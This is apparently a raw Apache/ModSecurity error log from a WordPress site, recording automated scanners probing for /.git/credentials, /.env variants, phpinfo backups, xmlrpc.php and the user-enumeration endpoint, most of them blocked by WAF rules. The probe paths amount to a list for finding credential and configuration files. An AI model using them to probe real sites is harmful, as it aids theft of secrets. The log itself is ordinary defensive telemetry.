[Fri Feb 06 13:19:12.415737 2026] [autoindex:error] [pid 3381:tid 3434] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:19:12.598837 2026] [autoindex:error] [pid 3381:tid 3431] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:19:14.654714 2026] [autoindex:error] [pid 3381:tid 3417] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:19:15.017215 2026] [autoindex:error] [pid 3381:tid 3420] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:19:17.060800 2026] [autoindex:error] [pid 3381:tid 3418] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/latest-comments/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 15:29:12.456757 2026] [:error] [pid 3380:tid 3384] [client 103.170.53.42:63086] [client 103.170.53.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.170.53.42, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYWYSBFAlUvBGSBK2jcCjQAAAAA"], referer: https://vetstars.com.au/
[Fri Feb 06 15:38:48.861769 2026] [:error] [pid 3477:tid 3486] [client 35.231.169.209:51759] [client 35.231.169.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.169.209, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYWaiLL0Hdh40C7HYgUOcAAAAMc"]
[Fri Feb 06 15:38:51.935020 2026] [:error] [pid 3477:tid 3491] [client 35.231.169.209:51759] [client 35.231.169.209] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYWai7L0Hdh40C7HYgUOeQAAAMw"]
[Fri Feb 06 15:38:54.397789 2026] [:error] [pid 3477:tid 3490] [client 35.231.169.209:51759] [client 35.231.169.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.169.209, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYWajrL0Hdh40C7HYgUOfwAAAMs"]
[Fri Feb 06 16:17:37.768916 2026] [:error] [pid 3513:tid 3535] [client 13.60.179.178:44668] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aYWjoTSw3-HAlzpqSxyRJgAAAVQ"]
[Fri Feb 06 16:17:38.929460 2026] [:error] [pid 3380:tid 3404] [client 13.60.179.178:44670] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aYWjohFAlUvBGSBK2jckvQAAABQ"]
[Fri Feb 06 16:17:40.089653 2026] [:error] [pid 3513:tid 3521] [client 13.60.179.178:44676] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/credentials"] [unique_id "aYWjpDSw3-HAlzpqSxyRKAAAAUY"]
[Fri Feb 06 16:17:41.260252 2026] [:error] [pid 3382:tid 3450] [client 13.60.179.178:44686] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config.bak"] [unique_id "aYWjpcIgU1HR0rhYrE_5HwAAAIo"]
[Fri Feb 06 16:17:42.424969 2026] [:error] [pid 3477:tid 3492] [client 13.60.179.178:44690] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config.old"] [unique_id "aYWjprL0Hdh40C7HYgUiGwAAAM0"]
[Fri Feb 06 16:18:10.700989 2026] [:error] [pid 3380:tid 3396] [client 13.60.179.178:35964] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.production"] [unique_id "aYWjwhFAlUvBGSBK2jclBAAAAAw"]
[Fri Feb 06 16:18:11.859958 2026] [:error] [pid 3382:tid 3459] [client 13.60.179.178:35968] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.development"] [unique_id "aYWjw8IgU1HR0rhYrE_5TgAAAJM"]
[Fri Feb 06 16:18:13.020034 2026] [:error] [pid 3513:tid 3524] [client 13.60.179.178:35652] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.staging"] [unique_id "aYWjxTSw3-HAlzpqSxyRiAAAAUk"]
[Fri Feb 06 16:18:14.180925 2026] [:error] [pid 3382:tid 3460] [client 13.60.179.178:35654] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.local"] [unique_id "aYWjxsIgU1HR0rhYrE_5UAAAAJQ"]
[Fri Feb 06 16:18:15.339135 2026] [:error] [pid 3477:tid 3502] [client 13.60.179.178:35662] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.test"] [unique_id "aYWjx7L0Hdh40C7HYgUidAAAANc"]
[Fri Feb 06 16:18:16.512244 2026] [:error] [pid 3381:tid 3421] [client 13.60.179.178:35674] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.backup"] [unique_id "aYWjyC81zqRg96ZREgga3wAAAEg"]
[Fri Feb 06 16:18:17.689456 2026] [:error] [pid 3380:tid 3388] [client 13.60.179.178:35676] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.old"] [unique_id "aYWjyRFAlUvBGSBK2jclNwAAAAQ"]
[Fri Feb 06 16:18:18.852125 2026] [:error] [pid 3382:tid 3443] [client 13.60.179.178:35684] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.bak"] [unique_id "aYWjysIgU1HR0rhYrE_5WgAAAIM"]
[Fri Feb 06 16:18:20.011324 2026] [:error] [pid 3381:tid 3425] [client 13.60.179.178:35690] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.dist"] [unique_id "aYWjzC81zqRg96ZREgga4gAAAEw"]
[Fri Feb 06 16:18:21.170958 2026] [:error] [pid 3382:tid 3464] [client 13.60.179.178:35698] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aYWjzcIgU1HR0rhYrE_5YAAAAJg"]
[Fri Feb 06 16:18:22.330397 2026] [:error] [pid 3381:tid 3420] [client 13.60.179.178:35702] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.php"] [unique_id "aYWjzi81zqRg96ZREgga6gAAAEc"]
[Fri Feb 06 16:18:23.490513 2026] [:error] [pid 3382:tid 3460] [client 13.60.179.178:41592] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.example"] [unique_id "aYWjz8IgU1HR0rhYrE_5ZgAAAJQ"]
[Fri Feb 06 16:18:24.651756 2026] [:error] [pid 3382:tid 3464] [client 13.60.179.178:41600] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.sample"] [unique_id "aYWj0MIgU1HR0rhYrE_5bAAAAJg"]
[Fri Feb 06 16:18:25.813521 2026] [:error] [pid 3477:tid 3482] [client 13.60.179.178:41602] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.dev"] [unique_id "aYWj0bL0Hdh40C7HYgUifwAAAMM"]
[Fri Feb 06 16:18:26.985276 2026] [:error] [pid 3477:tid 3500] [client 13.60.179.178:41616] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.prod"] [unique_id "aYWj0rL0Hdh40C7HYgUiggAAANU"]
[Fri Feb 06 16:18:28.148918 2026] [:error] [pid 3381:tid 3413] [client 13.60.179.178:41622] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.stage"] [unique_id "aYWj1C81zqRg96ZREgga7gAAAEA"]
[Fri Feb 06 16:18:29.309907 2026] [:error] [pid 3382:tid 3450] [client 13.60.179.178:41634] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.live"] [unique_id "aYWj1cIgU1HR0rhYrE_5eQAAAIo"]
[Fri Feb 06 16:18:49.341908 2026] [:error] [pid 3513:tid 3533] [client 13.60.179.178:37608] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/phpinfo.php.bak"] [unique_id "aYWj6TSw3-HAlzpqSxyRuAAAAVI"]
[Fri Feb 06 16:19:31.183083 2026] [:error] [pid 3380:tid 3406] [client 13.60.179.178:40818] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/phpinfo.bak"] [unique_id "aYWkExFAlUvBGSBK2jcl-gAAABY"]
[Fri Feb 06 16:20:02.009097 2026] [:error] [pid 3382:tid 3460] [client 13.60.179.178:34190] [client 13.60.179.178] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/phpinfo.php.old"] [unique_id "aYWkMsIgU1HR0rhYrE_6cAAAAJQ"]
[Fri Feb 06 16:22:11.071884 2026] [:error] [pid 3477:tid 3488] [client 13.60.179.178:57482] [client 13.60.179.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.60.179.178, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYWks7L0Hdh40C7HYgUkHAAAAMk"]
[Fri Feb 06 18:13:04.235652 2026] [:error] [pid 3380:tid 3384] [client 34.58.54.113:53934] [client 34.58.54.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.58.54.113, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYW-sBFAlUvBGSBK2jdNoAAAAAA"]
[Fri Feb 06 18:13:07.372584 2026] [:error] [pid 3380:tid 3403] [client 34.58.54.113:53934] [client 34.58.54.113] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYW-sxFAlUvBGSBK2jdNpQAAABM"]
[Fri Feb 06 18:13:09.564094 2026] [:error] [pid 3380:tid 3393] [client 34.58.54.113:53934] [client 34.58.54.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.58.54.113, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYW-tRFAlUvBGSBK2jdNqgAAAAk"]
[Fri Feb 06 19:42:29.312203 2026] [:error] [pid 37019:tid 37024] [client 65.108.125.120:24492] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYXTpQkAjqd3bcgYBrtYGAAAAgM"]
[Fri Feb 06 19:42:31.920815 2026] [:error] [pid 3381:tid 3420] [client 65.108.125.120:24504] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYXTpy81zqRg96ZREghaOwAAAEc"]
[Fri Feb 06 19:42:34.483416 2026] [:error] [pid 37019:tid 37036] [client 65.108.125.120:24532] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYXTqgkAjqd3bcgYBrtYHgAAAg8"]
[Fri Feb 06 19:42:37.270011 2026] [:error] [pid 36928:tid 36935] [client 65.108.125.120:24556] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYXTrZs7fyU8D36r-OpkZwAAAcM"]
[Fri Feb 06 19:42:40.076105 2026] [:error] [pid 46432:tid 46444] [client 65.108.125.120:61056] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYXTsAbwJwu_od0kZjMZQQAAAko"]
[Fri Feb 06 19:42:42.584090 2026] [:error] [pid 3382:tid 3459] [client 65.108.125.120:61058] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYXTssIgU1HR0rhYrE86CgAAAJM"]
[Fri Feb 06 19:42:45.298026 2026] [:error] [pid 37019:tid 37033] [client 65.108.125.120:61080] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYXTtQkAjqd3bcgYBrtYKgAAAgw"]
[Fri Feb 06 19:42:47.941458 2026] [:error] [pid 3477:tid 3492] [client 65.108.125.120:61082] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYXTt7L0Hdh40C7HYgVerwAAAM0"]
[Fri Feb 06 19:42:50.596249 2026] [:error] [pid 36857:tid 36864] [client 65.108.125.120:19752] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYXTupVQwfj7Kp4Dd0Hk5QAAAYU"]
[Fri Feb 06 19:42:53.279730 2026] [:error] [pid 3382:tid 3440] [client 65.108.125.120:19756] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYXTvcIgU1HR0rhYrE86IAAAAIA"]
[Fri Feb 06 19:42:56.053697 2026] [:error] [pid 15821:tid 15837] [client 65.108.125.120:19782] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYXTwHARQa67J4c772n95QAAAQw"]
[Fri Feb 06 19:42:58.850835 2026] [:error] [pid 3477:tid 3482] [client 65.108.125.120:13520] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYXTwrL0Hdh40C7HYgVeuAAAAMM"]
[Fri Feb 06 19:43:01.560870 2026] [:error] [pid 46432:tid 46457] [client 65.108.125.120:13526] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYXTxQbwJwu_od0kZjMZbgAAAlc"]
[Fri Feb 06 19:43:04.226218 2026] [:error] [pid 36857:tid 36862] [client 65.108.125.120:13546] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYXTyJVQwfj7Kp4Dd0Hk7AAAAYM"]
[Fri Feb 06 19:43:06.883764 2026] [:error] [pid 3513:tid 3530] [client 65.108.125.120:13548] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYXTyjSw3-HAlzpqSxzHOwAAAU8"]
[Fri Feb 06 19:43:09.613839 2026] [:error] [pid 3477:tid 3501] [client 65.108.125.120:65286] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYXTzbL0Hdh40C7HYgVevgAAANY"]
[Fri Feb 06 19:43:12.110886 2026] [:error] [pid 3380:tid 3392] [client 65.108.125.120:65288] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYXT0BFAlUvBGSBK2jdbBwAAAAg"]
